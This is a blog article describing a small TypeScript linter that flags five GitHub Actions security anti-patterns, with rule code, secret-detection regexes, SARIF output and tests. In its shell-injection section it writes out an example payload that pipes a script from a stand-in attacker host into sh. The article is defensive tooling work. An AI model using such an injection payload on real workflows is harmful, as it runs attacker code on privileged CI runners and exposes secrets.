A 300-Line GitHub Actions Security Linter: Five Rules That Catch the CVE Patterns
A focused TypeScript CLI that finds the five
.github/workflows/*.yml
anti-patterns that account for most real-world Actions compromises —
and only those. SARIF 2.1.0 output for GitHub code scanning.
actionlint is excellent. If you
want a comprehensive GitHub Actions validator — YAML schema, expression
type-checking, embedded shellcheck — it is unambiguously the right answer.
actionguard occupies a different niche. It is deliberately smaller: a
TypeScript CLI that checks five things, each of which maps to a documented
class of privilege escalation, and each of which I want to wire directly to
exit 1 in CI. Five rules, ~300 lines, one runtime dependency (js-yaml).
The five patterns:
-
${{ github.event.issue.title }}interpolated straight into arun:shell block — the CodeQL Research "untrusted input" class. -
uses: actions/checkout@main— unpinned references can be moved by the action's author. Floating branches are auto-updated on every commit. -
pull_request_target+ checkout of the PR head ref — the GitHub Security Lab "pwn request" pattern. -
No
permissions:block —GITHUB_TOKENgets default broad scopes. -
Literal token material in YAML —
gh[pousr]_...,AKIA...,-----BEGIN PRIVATE KEY-----.
Each of these has the property: if actionguard produces a false positive,
the "fix" still makes your workflow safer.
GitHub: https://github.com/sen-ltd/actionguard
Shape of the tool
# Human output
actionguard .github/workflows
# JSON for scripts
actionguard .github/workflows --json | jq '.counts'
# SARIF 2.1.0 for GitHub code scanning
actionguard .github/workflows --sarif > actionguard.sarif
Exit codes:
| Code | Meaning |
|---|---|
0 |
No issues (or only note-level findings). |
1 |
At least one warning or error. |
2 |
CLI usage error or YAML parse failure. |
Wire it into CI:
- name: actionguard
run: npx actionguard .github/workflows --sarif > actionguard.sarif
continue-on-error: true
- uses: github/codeql-action/upload-sarif@3.28.0
with:
sarif_file: actionguard.sarif
Findings then show up in the repository's Security → Code scanning tab,
with annotations in PR diffs.
The five rules, annotated
AG001 — shell injection in run:
The scary one. Consider this line, copy-pasted out of many real workflows:
- run: echo "Issue title is: ${{ github.event.issue.title }}"
GitHub Actions expressions (${{ … }}) are expanded into the literal
YAML string before bash sees it. If the issue title is
$(curl evil.com/x.sh | sh), that sh runs on the privileged runner. The
fix is universal — bind the value through env: instead:
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "Title is: $TITLE"
Environment variables are passed as process env, not string-interpolated
into shell syntax. Safe.
Detection is a two-step process:
// 1. Find `run:` regions
// - `run: |` / `run: >` → subsequent lines indented more than key
// - `run: cmd` → that single line
// 2. Inside each region, find every `${{ expr }}`
// and test `expr` against a list of attacker-controlled patterns:
const UNSAFE_CONTEXT_PATTERNS: readonly RegExp[] = [
/github\.event\.issue\.(title|body)\b/,
/github\.event\.pull_request\.(title|body|head\.(ref|label))\b/,
/github\.event\.review\.body\b/,
/github\.event\.comment\.body\b/,
/github\.event\.review_comment\.body\b/,
/github\.event\.discussion\.(title|body)\b/,
/github\.event\.head_commit\.(author\.(name|email)|message)\b/,
/github\.head_ref\b/,
/github\.event\.inputs\.[A-Za-z_][A-Za-z0-9_]*\b/,
/inputs\.[A-Za-z_][A-Za-z0-9_]*\b/,
];
Inputs (inputs.X and github.event.inputs.X) are included because any
actor who can trigger a workflow_dispatch can inject a shell payload
just by typing it into the form.
AG002 — unpinned third-party action
Tags are movable. If you write uses: somebody/action@v1, the author
can, at any time, re-point the v1 tag at a new commit that exfiltrates
your secrets. The GitHub
hardening guide
recommends pinning to a full 40-character commit SHA.
if (SHA40.test(version)) continue;
if (FLOATING_REFS.has(version)) severity = "error"; // @main / @master / @HEAD
else severity = "warning"; // @v4, @v1.2.3, @release
if (owner.startsWith("actions/") || owner.startsWith("github/"))
severity = "note"; // first-party downgrade
First-party actions (actions/*, github/*) get downgraded to note:
GitHub's own orgs are unlikely to publish a malicious commit under a
major-version tag. Organisations with stricter needs can keep everything
at warning or error — that's what --disable and future --config
flags are for.
AG003 — pull_request_target + PR head checkout
The
GitHub Security Lab's "pwn request" class.
-
pull_request_targetruns with the repo owner's GITHUB_TOKEN, even when triggered by a fork. - The base-branch
.ymlis used (good — the attacker can't change the workflow). - But if the workflow does
actions/checkoutwithref: ${{ github.event.pull_request.head.ref }}, it checks out the attacker's code and runs it with write-scopedGITHUB_TOKEN. - At that point it's game over — exfiltrate secrets, push to main, whatever.
Detection walks the parsed YAML:
if (!hasPullRequestTarget(wf)) return [];
for each jobs.*.steps[*]:
if uses starts with "actions/checkout"
and with.ref matches /github\.event\.pull_request\.head\.(sha|ref)/
or /github\.head_ref/:
emit AG003
AG004 — missing permissions:
Without a permissions: block at the workflow (or job) level,
GITHUB_TOKEN gets scopes determined by the repository's default.
Many real repos leave that at read/write across several scopes, because
changing the default breaks old workflows.
The rule: emit a warning if neither the workflow nor every job declares
permissions:. The fix is a one-liner:
permissions:
contents: read
Add more scopes only as specific steps need them.
AG005 — literal secret in source
Two complementary signatures:
High-confidence tokens anywhere in the file:
{ name: "GitHub PAT", re: /\bgh[pousr]_[A-Za-z0-9]{30,}\b/ },
{ name: "AWS access key", re: /\bAKIA[0-9A-Z]{16}\b/ },
{ name: "Google API key", re: /\bAIza[0-9A-Za-z_-]{35}\b/ },
{ name: "Slack token", re: /\bxox[abpors]-[A-Za-z0-9-]{10,}\b/ },
{ name: "private key block", re: /-----BEGIN (?:RSA |EC |OPENSSH |DSA |PGP )?PRIVATE KEY-----/ },
Suspicious env mappings: keys matching
TOKEN|SECRET|KEY|PASSWORD|API_KEY assigned a non-empty string literal
(and not a ${{ secrets.X }} expression). The indentation check
confirms the key is inside an env: block.
Heuristics have false positives — that's the nature of the beast — but
the reaction to a false positive is always "OK, use ${{ secrets.X }}
anyway", which is a strict improvement.
YAML parsing with just js-yaml
For precise line numbers I briefly considered yaml (eemeli/yaml),
which exposes an AST with byte-ranges. js-yaml returns plain JavaScript
objects and throws positional info away.
I stuck with js-yaml for the one-dependency constraint, which meant:
rules that need line info (AG001, AG002, AG005) scan the raw source
line-by-line with regex, while rules that need structural understanding
(AG003, AG004) traverse the parsed object. The unified context object
exposes both:
export interface RuleContext {
file: string;
source: string; // raw
lines: string[]; // source.split(/\r?\n/)
workflow: unknown; // yaml.load result
}
This turned out to be a nice separation. The security-interesting patterns
(shell injection, unpinned refs, literal tokens) are line-local — they don't
depend on YAML semantics — so scanning raw text is actually more robust
than walking an AST. The AST walk is reserved for the two rules where YAML
structure is part of the question.
SARIF 2.1.0 in 40 lines
GitHub's code-scanning surface accepts
SARIF 2.1.0,
an OASIS standard. The spec is thick, but a valid SARIF document
targeting upload-sarif is not:
{
"$schema": "https://…/sarif-schema-2.1.0.json",
"version": "2.1.0",
"runs": [{
"tool": {
"driver": {
"name": "actionguard",
"version": "0.1.0",
"informationUri": "https://github.com/sen-ltd/actionguard",
"rules": [
{ "id": "AG001",
"name": "ShellInjection",
"shortDescription": { "text": "…" },
"fullDescription": { "text": "…" },
"defaultConfiguration": { "level": "error" } },
…
]
}
},
"results": [
{
"ruleId": "AG001",
"level": "error",
"message": { "text": "…" },
"locations": [{
"physicalLocation": {
"artifactLocation": { "uri": "path/to/workflow.yml" },
"region": { "startLine": 18, "startColumn": 30,
"endLine": 18, "endColumn": 74,
"snippet": { "text": "echo \"Issue title: …\"" } }
}
}]
}
]
}]
}
actionguard's internal Severity type (error | warning | note) maps
one-to-one onto SARIF's level, so the serialisation is just a couple of
JSON.stringify wrappers. A test round-trips the JSON and asserts
version === "2.1.0", runs[0].tool.driver.name === "actionguard", and
that every result's level is one of the three allowed values. That's
enough to trust upload-sarif will accept it.
Tests
19 tests split across two files:
| File | # | Coverage |
|---|---|---|
rules.test.ts |
12 | Each rule against vulnerable.yml / safe.yml / inputs.yml fixtures. Asserts severity and message content. |
cli.test.ts |
7 | The real compiled CLI invoked via execFileSync: --help, missing target, vulnerable → exit 1, safe → exit 0, --json valid, --sarif valid, --disable filters correctly. |
Test Files 2 passed (2)
Tests 19 passed (19)
Duration 617ms
The CLI integration tests are especially valuable for a tool like this —
they exercise the actual shebang, ESM module resolution, and exit-code
paths that the rules layer never touches.
Dogfooding
The last CI job scans the project's own .github/workflows:
dogfood:
runs-on: ubuntu-latest
needs: test
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b
- run: npm ci && npm run build
- run: node dist/cli.js .github/workflows --no-color
If I write a workflow that actionguard would flag, CI goes red. Cheap,
automatic consistency.
Closing
The "focused" framing is what I want to leave behind. Comprehensive
linters are valuable — but security CI gates need to be narrow enough to
never have to be disabled. Five rules. Three severities. Three output
formats. One dependency. Easy to wire in, hard to rationalise away.
This article was originally published by DEV Community and written by SEN LLC.
Read original article on DEV Community